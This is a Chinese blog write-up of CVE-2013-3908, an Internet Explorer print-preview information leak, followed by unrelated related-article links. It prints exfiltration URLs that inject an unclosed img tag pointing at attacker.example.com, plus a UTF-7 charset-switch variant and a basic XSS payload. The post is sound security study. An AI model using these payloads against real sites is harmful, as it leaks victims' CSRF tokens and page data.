CVE-2013-3908 Internet Explorer打印预览功能可导致信息泄露
原文:http://masatokinugawa.l0.cm/2014/11/ie-printpreview-infoleak.html
问题1:
在IE9和以前的版本当中进行打印预览操作时,IE会取出原始页面的URL并将URL放到重新生成的html中的base标签的href属性里。
由于此处并没有对URL中的" <
>等符号进行任何的处理可导致信息泄漏.虽然打印预览界面中,是没办法执行JavaScript的,但是我们可以构造这样的URL:
http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/
当受害者访问了我们特定页面并试图打印该页面时,从下面的部分开始
<BASE
HREF="http://vulnerabledoma.in/security/search?q=123'&"><img/src='http://attacker.example.com/
直到单引号被闭合的部分(直到原始页面中原有的单引号出现)都将作为一个http请求被发送到受害者web server。泄露的可能会是csrf token或其它信息。(这个很看运气,不过应该算是很基本的scriptless攻击了吧)
该问题由于利用难度较高,所以被判断为小影响的漏洞,宣布会在IE9以后的版本进行修复(作为最终结果,微软最后还是宣布会在IE9以及之前的版本也进行修复)
问题2:
这部分除了原作者之外和我也有一点关系。因为之前在捣鼓字符集相关的安全问题时,发现了个比较诡异的现象。就是指定字符集的meta标签在什么样的场景下有效。让我们来看看一个有趣的场景:
<html>
<head>
<title>输出</title>
<meta charset=utf-8>
</head>
<body></body>
</html>
我们都知道有一些标签具有所谓的htmlencode功能,比如上述示例代码的title标签。如果我们想在此处进行跨站脚本攻击,就需要结束这个title标签,插入类似: </title><img src=x onerror=alert('lol')>
但,如果我们插入的是meta tag会怎么样呢?
<html>
<head>
<title><meta charset=shift_jis></title>
<meta charset=utf-8>
</head>
<body></body>
</html>
当你在console里,输入document.characterSet时你会发现实际上当前页面的字符集已经变成了shift_jis(可在 firefox下进行测试)。如果加大测试场景你会发现不论是在script标签内,还是textarea这类的标签内,只要你插入的meta tag在前1024 byte之内(1024是SPEC上写的,但是实际测试只有980多byte),并且不存在什么response header中的设定,也没有在你插入的meta tag之前出现其它的meta tag对字符集进行过设定,你的meta tag都是有效的(具体的可以阅读浏览器的SPEC)。当时发现这个问题时,感觉十分的有趣但是由于并没有能发现很好的利用场景,就和@/fd联手做成了 一个xss挑战,希望别人也在看到这个之后研究一下会不会间接导致安全问题。这是当时出的xss challenge和相关的writeup:
http://kcal.pw/puzzle3.php
https://github.com/cure53/xss-challenge-wiki/wiki/Puzzle-3-on-kcal.pw
抱歉说了很多有的没的。回到原稿,MK也提出了类似的问题。
<html>
<head>
<meta test="<meta charset=big5>">
<script>
var x="<meta charset=koi8-r>";
</script>
<meta charset=utf-8>
</head>
<body>
<meta charset=iso-8859-1>
<button onclick="func()">charset is</button>
<script>
function func(){
alert(document.charset||document.characterSet);
}
</script>
</body>
</html>
上述html页面,最终的characterSet会是什么呢?答案是chrome和safari会选择utf-8.Firefox会选择KOI8-R,而IE会认为是Big5.所以本题中的CVE-2013-3908就是这两个问题的组合拳.
http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML
__IE_DisplayURL="http://vulnerabledoma.in/security/search2?q=123'&<meta charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><HEAD><META
content="IE=11.0000" http-equiv="X-UA-Compatible">
<META content="text/html; charset=iso-8859-1" http-equiv=Content-Type>
<BASE HREF="http://vulnerabledoma.in/security/search2?q=123'&<meta
charset=utf-7>+ACIAPgA8A-img/src='http://attacker.example.com/"><STYLE> HTML { font-family : "Times New Roman" } </STYLE> <METAcharset="iso-8859-1"></HEAD> <BODY><P>LoginID:exmaple@example.com</P><FORM action=""method="get">SearchBox:<INPUT name="q" type="text" value="123'"> <INPUT type="submit"
value="submit">
</FORM></BODY></HTML>
回顾一下前面的知识,我们知道出现在神秘属性__IE_DisplayURL中的meta tag依旧会被解析,导致当前页面的字符集会被篡改成utf-7.这样一来即使在上报问题1给微软后,微软对URL输出部分进行了处理,也不能躲过字符集 被修改后通过没有<>的utf-7进行scriptless攻击的步伐。最后由于这个漏洞赶上了IE11的bug bounty活动,作者通过提交该问题获得了2200刀的奖励。
CVE-2013-3908 Internet Explorer打印预览功能可导致信息泄露的更多相关文章
- C#实现打印与打印预览功能
C#实现打印与打印预览功能的思路及代码. 在windows应用程序中文档的打印是一项非常重要的功能,在以前一直是一个非常复杂的工作,Microsoft .Net Framework的打印功能都以组件的 ...
- C#实现打印与打印预览功能(转)
在windows应用程序中文档的打印是一项非常重要的功能,在以前一直是一个非常复杂的工作,Microsoft .Net Framework的打印功能都以组件的方式提供,为程序员提供了很大的方便,但是这 ...
- JS页面打印预览功能
点击按钮后就可以直接打印预览,并且隐藏了按钮,如果你不希望按钮显示,可以把那部分代码删除就可以了. <html><head><meta http-equiv=" ...
- Vue 打印预览功能
需求有几种情况: 1.直接在HTML写页面,将页面上的东西用A4纸打印出来: 2.后台传回PDF文件,前台浏览器预览并打印: 3.后台做好要打印的,传回图片,如base64编码,前台浏览器 预览并打印 ...
- 怎么在MindManager中查看打印预览
在MindManager2016思维导图中打印导图之前,可以先进行预览,MindManager和其他很多应用程序一样都带有打印预览功能,该功能提供了再次检查的机会,避免打印出错,MindManager ...
- 怎样改动 VC6.0 4.0 2010 打印预览界面上的文字
前言:尽管早已下决心不再碰微软的东西,但手头的项目还得须要维护. 遇到问题还能解决. 问题由来: 之前的软件开发是基于中文环境开发的,建立项目的时候,选择了中文,为了方便客户使用.我们使用了静态编译的 ...
- 在Visual Studio 2019中开启预览功能
在Visual Studio 2019 菜单 [工具] > [选项] > [环境] 下的预览功能页面焕然一新!我们介绍了预览功能页面,以便您可以轻松找到这些功能并能够控制其启用.新布局提供 ...
- .NET网页打印以及使用打印需要注意的事项(可能会引起VS崩溃的现象、打印预览后关闭功能不管用)
这两天进行给网页添加打印.打印预览.页面设置的功能.遇到了以下几个问题 [1]在网上查找了一些打印方法,一开始还可以用,后来不知道动到了哪里,点击vs中拆分或者切换到另一个设计和源代码显示方式,就会引 ...
- javascript实现jsp页面的打印预览
1.加载WebBrowser打印预览控件 <OBJECT classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2" heigh ...
随机推荐
- spring mvc form表单提交乱码
spring mvc form表单submit直接提交出现乱码.导致乱码一般是服务器端和页面之间编码不一致造成的.根据这一思路可以依次可以有以下方案. 1.jsp页面设置编码 <%@ page ...
- Java读写文件的几种方式
自工作以后好久没有整理Java的基础知识了.趁有时间,整理一下Java文件操作的几种方式.无论哪种编程语言,文件读写操作时避免不了的一件事情,Java也不例外.Java读写文件一般是通过字节.字符和行 ...
- cocos2dx3.0rc导出自定义类到lua的方法
以前要导出c++类到lua,就得手动维护pkg文件,那简直就是噩梦,3.0以后就会感觉生活很轻松了. 转载请注明出处http://www.cnblogs.com/mrblue/p/3637910.ht ...
- codeforces A. The Wall 解题报告
题目链接:http://codeforces.com/problemset/problem/340/A 这道题目理解不难,就是在[a, b]区间内,找出同时能够被x和y整除的个数.第一次想当然的开了两 ...
- JavaEE填空与判断
Java EE软件工程师认证考试 试题库- 填空题和选择题 一. 填空题 1. HTML网页文件的标记是__html__,网页文件的主体标记是_body__,标记页面标题的标记是__tit ...
- ubuntu 图形界面查看隐藏文件
在 Linux 下以 . 开头的文件或文件夹为隐藏文件,在图形界面(nautilus)下可用 CTRL + H 显示隐藏文件,终端下者可以用 ls -a 显示所有文件.
- 昂贵的聘礼(poj 1062)
Description 年轻的探险家来到了一个印第安部落里.在那里他和酋长的女儿相爱了,于是便向酋长去求亲.酋长要他用10000个金币作为聘礼才答应把女儿嫁给他.探险家拿不出这么多金币,便请求酋长降低 ...
- android 获取资源文件 r.drawable中的图片转换为drawable、bitmap
1.R-Drawable Resources resources = mContext.getResources(); Drawable drawable = resources.getDrawabl ...
- Android之Activity框架
在安卓应用中,经常需要Activity中经常需要有大量相似的Activity类,这些类往往有相似的结构与功能,因此产生了大量重复代码,为此,以下提供一种方法有效的降低了代码冗余. 定义Activity ...
- codeforces Round #263(div2) D. Appleman and Tree 树形dp
题意: 给出一棵树,每个节点都被标记了黑或白色,要求把这棵树的其中k条变切换,划分成k+1棵子树,每颗子树必须有1个黑色节点,求有多少种划分方法. 题解: 树形dp dp[x][0]表示是以x为根的树 ...